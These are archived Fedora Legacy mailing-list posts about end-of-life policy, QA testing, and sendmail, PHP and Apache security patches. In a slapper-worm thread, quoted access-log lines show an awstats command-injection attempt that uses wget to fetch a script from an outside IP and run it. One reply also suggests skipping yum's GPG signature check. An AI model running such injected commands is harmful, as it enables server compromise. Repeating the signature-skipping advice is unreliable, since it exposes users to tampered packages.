Re: Important information regarding the merger of core and extras, and what this means to Legacy
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Jesse Keating wrote: See my blog regarding the future of Legacy as a project. Please remember these are just proposals and not final solutions. A wiki page will follow soon. http://jkeating.livejournal.com/#entry_34659 I hope this doesn't mean Legacy is going away for good. I may have some critical things to say about participation; but, I still believe the community of participators can support a 6-12 month window with the FC releases fall aside. This will give those who choose to wait for a few months before upgrading the chance to keep up-to-date with security fixes while they wait. - -James -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.5 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFFWxr+kNLDmnu1kSkRAuCoAJ94wq8mwcSaUorE92KkFk2QDqPDvgCfTxH4 pnYlEDi+uZoFFI97hPTkn8o= =wnDn -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: You Need Fedora Legacy!! Re: [fab] looking at our surrent state a bit
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dave Stevens wrote: a confession of inadequacy is more of a preliminary than an answer Dave Sorry, to butt in Maybe, what we need to do is have a re-organization of the idea of FedoraLegacy instead of trying to overtax anyone. Or chase anyone away from helping. Just some proposals: (1) Every new release into fedora legacy should start with a collection of a group to manage the packages for that version. And only that version to help alleviate getting overwhelmed with multiple platforms, dependencies, etc. Yes, I know this may cause issues, but, it may be better than the current situation of lagging releases and other dependencies slowing the release of one package or another for each platform. Or having to just drop everything causing more problems for others wanting updates. (2) Each FC version can be maintained by a different group, pushing, etc the updates for that version only. Of course, we can have a supper user able to verify and validate everything pushed through by the group (RH). (3) Make it easier for people to get involved. Having a list of packages and maintainers is OK, but, having a few people managing large numbers of packages is very difficult. I'd say a limit of 5-10 packages may be reasonable any more than that will cut out others from helping. (4) Everyone needs to follow some rules when releasing anything for testing...! Very important. (a) Email this list!! (b) Include the bugzilla ID and or link to post checks against the package. (c) Try to include any steps to produce the problem reported by CVE. or have a link to such documentation to be sure the fix actually fixes the issue. (5) Everyone verifying packages: (a) Verify installation of the packages. (b) Be sure the applications still WORK. Installation is not the only thing that should be verified. (c) Be sure to check to be sure nothing is broken, to your ability. Lastly, we really need to work together more! - -James -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.5 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFFT1MXkNLDmnu1kSkRAoLlAJ0bBTehG2QWSIHR7CL6kFBEnzH4zQCfatSn IlLIMFJzx7feFYY3rEXOLxE= =xn5n -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: Fedora Core 4 Legacy security updates?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Tim Thome wrote: David, Sounds like a good thing entering it into Bugzilla, however, if there is not a priority within Red Hat to fix it, the bug will sit there and rot... Might be a good time to split the bugzilla between active devlopment and legacy, and move the bugs over as needed, where they can be triaged, and dealt with in accordance with the Fedora Legacy charter. Thoughts? Tim Tim, (1) Don't top post (2) It use to be separate; but, I'm a little fuzzy as to why it was consolidated... but, it is separate in a since. You have to post it in the Legacy section of Bugzilla. (3) Redhat is not responsible for fixing the BUGs. It is the Fedora Legacy support group which is. Which comes right down to US in the end. Redhat manages and supports the group; but, it is the group of volunteers that support the updates. - -James -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.3 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFFLOgekNLDmnu1kSkRAv7/AJ95lpwIqBxEsU9Ghnesr3+gH37S0ACfZEa9 VH5xnG1vYduqxLoAziAr73w= =8CEq -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: Yum config for Fedora Core 4
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Jesse Keating wrote: On Monday 14 August 2006 16:06, Eric Rostetter wrote: This page needs to be updated to reflect FC1 and FC2 being retired... Whoops! Thanks for catching that. (I added the FC4 too) Jesse, I believe RH9 was retired many ages ago also. - -James -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.3 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFE4OBmkNLDmnu1kSkRAjxfAJ9WuaH4sb5t6jS1MAugsxK69QXOEwCdEjks 77oXUzM25ghe8XFkrNVOTe8= =ng3U -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: FC1 and FC2 end of life
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Bo Lynch wrote: Just read about the end of life of FC1 and FC2 on the fedoralegacy page. I understand that there will be no more bug fixes for these OS's, but does that mean that there will bo no more security fixes as well? Yes, it means NO MORE ANYTHING. - -James -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.3 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFEzmqTkNLDmnu1kSkRAnT/AJkBgKjvDbGFKRT/mFQo62QKt3JPpgCdG2Kv YUeYET4W0a2s7kDu8/f94p8= =mWvu -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: sendmail DOS (CVE-2006-1173)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Adam Gibson wrote: Anyone know if this is being worked on? http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1173 -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list Should be done... - -James -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.3 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFEvoH/kNLDmnu1kSkRAgyTAJ90sHkp1fc0kfpUchnrByjCmUVORACeL9JA toigEC5FRcs/bDh05oGBJDk= =ofDP -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: Meeting results
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Jesse Keating wrote: A proposal was made in the meeting tonight / last night that makes a lot of sense to me and the others that were there. I would like to float it here and if there isn't significant issue with it, make it so. Fedora Core 1 and Fedora Core 2 go EOL (dropped by us) when we pick up Fedora Core 4. This follows our stated lifespan policy. RHL7.3/9 get a staged death: New issues (bugs) will be accepted until October 1st. No new bugs after that mark. Existing bugs will be resolved by Dec 31st or never resolved. This should give people a good enough notice to migrate to an appropriate platform and even a bit of a cushion on the other side of Oct 1st. I like this plan, I think its fair. As do the folks in the meeting. What do you think? Sounds good to me also. Even though I do so reluctantly. I can't fight the powers that be and I have advanced notice, which gives me time to prepare. - -James Kosin Long time FC1 user, and proud supporter of RedHat / Fedora. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.3 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFErlXQkNLDmnu1kSkRAkMYAJ9wj6s8FDzJLk84lFcgYgzRlpK5zACeMiAi LfF0ZmxrEzBB4fd8PB4I7Ck= =Peys -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: Friday Flames - What to do with RHL7.3/9 and FC1/2
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Ok, Normally, I'm very patient. But, this just rubs me the wrong way. Have we lost sight of our purpose? This is Fedora Legacy, which supports older unsupported versions past their 6-month window with Fedora group. I think the support if too burdensome should be DROPPED if not needed. No more talking or ranting about weather to support something after its short life. This would probably give Fedora a big boost; because, either everyone would end up in Fedora group or nowhere at all. Full effort towards a new linux and not complaining about the old stuff that works. That said, I've been very happy with FC5 at home. Past the installation issues, everything is working much better as a whole with FC5 than I thought. I still can't use it at work; because, I would have to write a kernel driver for the serial card I use in the PC. But, I'm thinking more and more about just replacing it with a new supported card. I agree the work load is difficult and time consuming, but that will build better customer support. Imagine if RedHat or any other vendor said When we offer a new operating system version, you either upgrade or get out of the way! I don't think there would be many followers after a few updates. - --James -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.3 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFEjWvBkNLDmnu1kSkRAkOVAJ0SwMgWELMq+A2dRRBgke0c2qT7sACfS0VX pXFeRVcmp8FV8x3Rm891x+Y= =kruW -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: Fedora products, to upgrade rather than backport?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Tom Yates wrote: On Mon, 15 May 2006, James Kosin wrote: I agree with Jesse here; but, I would like to add that the packages should be tested on the released platform by someone and not just released in this case. SendMail was a recent blunder of sorts because of this. not to start any kind of flame war, but just for accuracy's sake, the recent sendmail release *was* tested before public release - i was one of the testers who signed off on it. in my case, the test didn't show up anything because i *always* reroll my sendmail.cf from m4 by hand, any time i upgrade sendmail (as my test report stated); and i don't use SMTP AUTH. that may say that our required testing is insufficient; i wouldn't presume to comment on that. but i don't believe sendmail was rushed out the door any more untested than any other package would have been. Thanks for clearing that up. I wasn't trying to start anything, only that many things that shouldn't have been broken got broken by this release. Which has been the only major upgrade of software apart from the security patches. - -James -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.3 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFEaz9JkNLDmnu1kSkRAnH/AJ4mS40qSnVnxndoRxz8MiPKyzv7DQCfdXnA YSktDPJLUObN7/ZyQKwVh08= =SbzY -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: New sendmail and missing /usr/lib/sendmail
Jesse Keating wrote: On Fri, 2006-03-24 at 16:17 -0600, Mike Klinke wrote: There is instead an entry in /usr/lib; sendmail.sendmail which is linked to /usr/sbin/sendmail. Also the man pages no longer work if you type; man sendmail You have to use man sendmail.sendmail. This sounds like the Alternatives system got confused and wasn't making the links that it was supposed to, as stated in the spec file. Hrm. Jesse, BACK FROM HAVING A BABY! At least my wife did. Sounds like something didn't get built correctly. Was this a new release of sendmail or a patch? I believe my packages needed (or at least I let them build a -cf package) at one point. My version has been working for some time with no problems with man or other changes. Did the SPEC file change significantly? I guess I can download and compare to my packages. Thanks, James PS: I don't want everyone to start saying Congratulations. It isn't a good response on list. -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: New sendmail and missing /usr/lib/sendmail
Jesse Keating wrote: On Mon, 2006-03-27 at 13:43 -0500, James Kosin wrote: Sounds like something didn't get built correctly. Was this a new release of sendmail or a patch? I believe my packages needed (or at least I let them build a -cf package) at one point. My version has been working for some time with no problems with man or other changes. Did the SPEC file change significantly? The patches supplied by Sendmail did not apply to older releases, so all releases had to be updated to 8.12.11. RHEL set a precedent on this when they updated the version on RHEL2.1. The spec did change in many ways, and unfortunately I didn't catch the significance of the changes w/regard to alternatives. These issues should be resolved in the newer packages in updates-testing. Thanks, Glad to here you got it straighted out. I do have the original spec file for FC1 modified to work with 8.13.5 some time back... Of course, I added a patch now for the latest updates, got back and saw all the commotion about sendmail, which I use significantly. And didn't see any of the reported problems with my system. I just wanted to be sure I couldn't be of some help now that I'm back. James -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: 1-2-3 out, time for FC2?
Nils Breunese (Lemonbit Internet) wrote: I'm not telling you to get a 'better distro' or to upgrade. I was just asking myself why you don't upgrade. There can be good reasons for that. On the other hand I wish people would stop complaining about not getting any upgrades anymore (I'm talking about people in general) when Fedora clearly states it has a short lifecycle. Fedora is for running the latest and greatest and Fedora Legacy is here to help people out a little longer after Red Hat stops releasing updates. My reasons: (1) Device driver for my Digi card is not supported by the newer kernels. (2) It took me weeks to setup everything originally, and I don't want to take weeks more if something goes wrong. (3) It actually works (FC1 that is)... I haven't had any problems with DNS, etc on the unit. Knock on wood. (4) I've learned a lot about RPM packages since the move to FL. That has to count for something If I stayed with the most current, I would have never learned how to build my own samba packages, httpd packages, install and maintain my own ClamAV packages. Actually learn a painful lesson why they don't update perl very often, etc. I could go on and on about this point. Just my 2-cents, James Kosin -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: Documentation question at fedoralegacy.org
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Matt Temple wrote: But looking at the download site, it /looks/ as though the x86_64 rpms are there. (Not so for core 2). Does the site need this updated? Matt, Good point; but, they may be holding off updating this fact until we see the workload involved with this. Since x86_64 stuff adds a layer of complexity to the issue. - -James -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFECJpskNLDmnu1kSkRAlY5AJ9tS3sbBCDER/fruOiCXuptgEdnmwCcCn2Z T2oqX0v8n9zvrrQ5SiCeXeA= =X3cN -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: no mandatory QA testing at all [Re: crazy thought about how to ease QA testing]
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Rahul Sundaram wrote: Hi http://fedoraproject.org/wiki/Legacy/QATesting. OK, It is a little buried in the clutter. I've seen this page many times, but never really dig-ed into it. I'm printing this stuff out for further review. Thanks, James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFD8hqckNLDmnu1kSkRAjp2AJ9kviT73/Gq68jPuvUmpc/+j+fYIACcDAy0 1XV+rtijKjZtdjoHfrsiA5E= =ulPh -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: no mandatory QA testing at all [Re: crazy thought about how to ease QA testing]
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Rahul Sundaram wrote: It is referred from http://fedoraproject.org/wiki/Legacy which has a link from the frontpage. How is that buried in clutter?. What can we do to improve that?\ Don't get personal, I'm talking semantics here about not outlining them as steps. ex: The first one is named 'QASubmit'... OK maybe a limitation of wiki here and not someone's exact wording... but, maybe a description saying Package Resubmitting Procedures could be better. Something pointing to the fact the page is a procedural form instead of a simple description. Even something like follow these steps or procedures James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFD8i+7kNLDmnu1kSkRAu6zAJ4874rS9Xfly2zdxapfWJecy7ObuQCffu8j 7Kz9ON76BJye21LktA4fJtk= =qJij -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
James' Unofficial Updates
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Everyone, The samba development team is trying to get 3.0.21b released today unfortunately, I need to go out of town tomorrow. So, I probably won't get to updating Samba til I get back on 2-Feb-2006. For everyone that doesn't know me. I run a FC1 server that I try to keep up-to-date with various packages. Mostly for server type applications (daemons), although I've also rolled some other RPMs for specific needs. You can see my updates at http://support.intcomgrp.com/~jkosin ... but, be warned I wouldn't recommend updating the kernel for the faint of heart. I'd also like to get started soon on providing more security updates to the fedora-legacy community this year... instead of rolling my own all the time. Jessey are you out there... and which packages are we lacking support for that may need updating or packaging for release for FC1. I could also always start with the kernel, if that is OK. I've gotten very good with my own package and it seems to be simpler than say perl or many of the more complex builds. Thanks, James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFD3mIZkNLDmnu1kSkRArHDAJwI95CQVjVXyPyJsIEcgRxxxtm3OQCfa4Vz 4Aut4K2SZjU/zEZfQJKy+QY= =9JfZ -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: slapper worm
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Jesse Keating wrote: On Mon, 2006-01-23 at 17:11 -0500, James Kosin wrote: My version takes care of the mod_ssl issue he already disabled. FC1 doesn't have a fix or if so it hasn't gone through QA yet. Do you have a CVE for the ssl issue? I'd like to see if it is somewhere in the QA pipeline. Jesse, Just checked this morning. https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=175406 But, I think we may need to do something pro actively... I'm seeing many posting either not knowing about this worm or not knowing if they are protected or how vulnerable they may be. Many use (or using) WebAdmin for simple configuration or installing other software making them more vulnerable. My FC1 box was not vulnerable, only because I like to use the command line and edit files manually instead of by web-pages. What we need is a comprehensive fix to prevent all this from happening unknowingly to the users. Or a way of checking before they get infected. James -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFD1jRxkNLDmnu1kSkRAlmuAJ9E/0owV13AuVZOxK+I0F859ZRCYACffnal zuVC11nLSrrGWJMEucMAswg= =0ZT6 -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: slapper worm
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Mike McCarty wrote: --snip-- $ ps -A | grep pache $ ps -A | grep ssl doesn't show anything, so Apache isn't running, and I guess SSL isn't either. Mike Mike, ps -A | grep httpd /* Apache is only the name of the server not the rpm or application running */ SSL is a module of apache that allows SSL connections the actual name of the module is mod_ssl and it usually enabled in the default apache configuration for redhat/fedora. James -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFD1pWUkNLDmnu1kSkRAkFaAJ9ADF/2hwQysfKseqWrOW0eRvwrTACePBf/ sRmQ1APq2dcjkRMHYOZct3M= =dR8+ -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: slapper worm
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Michael Mansour wrote: Hi guys, I have an FC1 machine which got infected twice with the slapper worm, and then started DOS attacking a large vendor. I've stopped slapper in its tracks with a couple of changes to FC1, but in analysing now how it got in (it seems to use SSLv2 vulerabilities in an apache SSL server which I've now turned off), I see the following bit of interest in my apache access_log: 220.135.223.35 - - [23/Jan/2006:08:33:02 +1100] GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| HTTP/1.1 403 344 - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;) 220.135.223.35 - - [23/Jan/2006:08:33:03 +1100] GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| HTTP/1.1 404 340 - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;) These scripz files end up going into /tmp, being compiled with gcc, renamed to httpd and run as that. I'm using: perl-5.8.3-17.4.legacy httpd-2.0.51-1.9.legacy openssl-0.9.7a-33.13.legacy Are there any updates FL can do to any of the packages to fix/block slapper from an FC1 machine? Michael. Michael, Try my version of httpd here: http://support.intcomgrp.com/~jkosin It has been effective against the worm so far. James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFD1T+ukNLDmnu1kSkRAv20AJ0d7pl7B6zAOZb+OmhkiiKG/Fpp1ACfcnmE gJoc286M9LvSAXn2cjXHEok= =5ZOF -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: slapper worm
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Jesse Keating wrote: James, what is in your package that we haven't included in our Apache? I was under the assumption that we had fixed all the CVEs related to the slapper worm and that our users were safe. If this isn't the case, we have a severe problem and need to fix this immediately. Jesse, Hi. I think it was fixed with the updates to perl by the update. But, that said, he could have a WebAdmin install that makes him vulnerable again. My version takes care of the mod_ssl issue he already disabled. FC1 doesn't have a fix or if so it hasn't gone through QA yet. My version does add the mod_security module to Apache which should help with this and other worms that try to access via this type of method. James -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFD1VSAkNLDmnu1kSkRAuV5AJ4tHYj1a7HHknypuE0F0UhJyYDL7QCeKHDq DB1v27kblhsQGeIJdpyGEjI= =ywd9 -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: PHP Attacks....
-BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 Michal Jaegermann wrote: On Wed, Nov 09, 2005 at 11:22:28AM -0800, Jesse Keating wrote: On Wed, 2005-11-09 at 14:12 -0500, Josep L. Guallar-Esteve wrote: http://www.securityfocus.com/bid/14088/info http://vil.nai.com/vil/content/v_136821.htm http://news.zdnet.com/2100-1009_22-5938475.html http://www.eweek.com/article2/0,1759,1882889,00.asp?kc=EWRSS03129TX1K616 http://news.com.com/New+worm+targets+Linuxsystems/2100-7349_3-5938475.html?part=rsstag=5938475subj=news http://linux.slashdot.org/article.pl?sid=05/11/08/140203tid=220tid=106 Does look like we need to patch this. RHEL issued an update, Do you mean that one from August? https://rhn.redhat.com/errata/RHSA-2005-748.html CAN ids between that one and http://www.securityfocus.com/bid/14088/info do not agree although the latest worm descriptions would suggest that RHSA-2005:748-05 is the correct one. Michal -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list The CVE website states that CAN-2005-2498 is not the same as CAN-2005-1921; so, I think to reason; both need to be fixed if we are vulnerable. James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDcmfnkNLDmnu1kSkRA39pAKCABlO6P3J7EVRAG6oefeclrPDEEwCeI2w0 U65qbkAwaJhCVlc+nNLt3ao= =11iK -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: PHP Attacks....
-BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 Jesse Keating wrote: On Wed, 2005-11-09 at 13:36 -0700, Michal Jaegermann wrote: Do you mean that one from August? https://rhn.redhat.com/errata/RHSA-2005-748.html CAN ids between that one and http://www.securityfocus.com/bid/14088/info do not agree although the latest worm descriptions would suggest that RHSA-2005:748-05 is the correct one. Seems that 2005-748 superceeded 2005-564. Same bug text, I wonder if it was an enhanced patch or another discovery. Either way we should base our package from 748 and backport all that our current packages don't have. Ok, FC1 already has the patch for CAN-2005-1921 All be need to do is add the patch for RHSA-2005:748-05 I'll have to compare the patches to be sure. James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDcmpEkNLDmnu1kSkRA9uFAJ4kfG4gLVwFcLxqQXoc+xMRwkwAJwCePpUS 6bv62XDwkenChrJ2j9+CR6w= =Kmwq -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: PHP Attacks....
-BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 Michal Jaegermann wrote: On Wed, Nov 09, 2005 at 04:19:35PM -0500, James Kosin wrote: On Wed, Nov 09, 2005 at 11:22:28AM -0800, Jesse Keating wrote: Does look like we need to patch this. RHEL issued an update, Do you mean that one from August? https://rhn.redhat.com/errata/RHSA-2005-748.html CAN ids between that one and http://www.securityfocus.com/bid/14088/info do not agree although the latest worm descriptions would suggest that RHSA-2005:748-05 is the correct one. Michal -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list The CVE website states that CAN-2005-2498 is not the same as CAN-2005-1921; so, I think to reason; both need to be fixed if we are vulnerable. Indeed. But sources referenced in RHSA-2005:564-15, where CAN-2005-1751 and CAN-2005-1921 are mentioned, are explicitely marked as outdated by RHSA-2005:748-05 (CAN-2005-2498) so the latest presumably have fixes for all these. Source packages are somewhat different for RHEL3 and RHEL4 so you possibly need a right fit for FC1 and FC2. In my earlier remarks I meant that it does not look that any fix is needed for RH7.3; simply because the code with problems is not there. Yesterday updates for FC3 include also php-4.3.11-2.8.src.rpm (and php-5.0.4-10.5.src.rpm for FC4). Michal -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list Yes, but the release for FC3 doesn't have a patch for 2005-2498... They have a newer XML_RPC.tgz file. They also address CVE-2005-3353, CVE-2005-3388, CVE-2005-3389 and CVE-2005-3390... do we need to concern ourselves with these? James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDcnJrkNLDmnu1kSkRA+XmAJ9cRRmpSE6m+bjQWiZOdiYo0CmcHwCdF1VZ 1ZQ1/u9FymgE24ucvb596H0= =IX4H -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: PHP Attacks....
-BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 Michal Jaegermann wrote: On Wed, Nov 09, 2005 at 04:19:35PM -0500, James Kosin wrote: SNIP We could base our build for FC1 from the patches in FC3... If and only if, we are allowed to update some packages inside to newer versions. FC3 seems to have the same base code and patches to a point as FC1. James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDcnOCkNLDmnu1kSkRA52yAJ4tLcvu7AwlJb9VpW7Udzs7Kh4PyACdFuZQ PZECJdE6L3q1kUSwFsn01pM= =oNNx -END PGP SIGNATURE- -- Scanned by ClamAV - http://www.clamav.net -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: FC1 yum update Problems
-BEGIN PGP SIGNED MESSAGE-
Hash: RIPEMD160
Edward Wynn wrote:
!-- /* Style Definitions */ p.MsoNormal, li.MsoNormal,
div.MsoNormal {margin:0cm; margin-bottom:.0001pt; font-size:12.0pt;
font-family:Times New Roman;} a:link, span.MsoHyperlink
{color:blue; text-decoration:underline;} a:visited,
span.MsoHyperlinkFollowed {color:purple; text-decoration:underline;}
span.EmailStyle17 {mso-style-type:personal-compose;
font-family:Arial; color:windowtext;} @page Section1 {size:595.3pt
841.9pt; margin:72.0pt 90.0pt 72.0pt 90.0pt;} div.Section1
{page:Section1;} --
Hi,
I am trying to use yum to update my FC1 system.
I have followed the instructions present on the website, including
upgrading yum, setting up the yum.conf file and importing the GPG
key via rpm ?import.
I have also verified that the GPG key has been imported using rpm ?qa.
The problem is that when I do a yum update I can download package
headers and resolve dependencies OK, I then confirm that this is OK
and the system trys to download and upgrade the pango package
(pango-1.2.5-4.i386.rpm) ? at this point yum stops and says there is
a problem: ERROR: Could not find the GPG key necessary to validate
the pkg pango?.
What am I missing ? what is wrong with GPG keys?
Thanks in advance, Eddie
--
--
fedora-legacy-list mailing list
fedora-legacy-list@redhat.com
https://www.redhat.com/mailman/listinfo/fedora-legacy-list
You must have a fresh install of FC1... Somewhere about a year or so
ago the fedora group had to install new GPG keys for the packages;
because their keys had expired about md-project with FC1.
It should be safe to get yum to ignore the GPG signature for the
moment to update your system... Then import the fedora-legacy keys.
Or maybe someone could resign all the packages with the fedora-legacy key.
James Kosin
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.1 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org
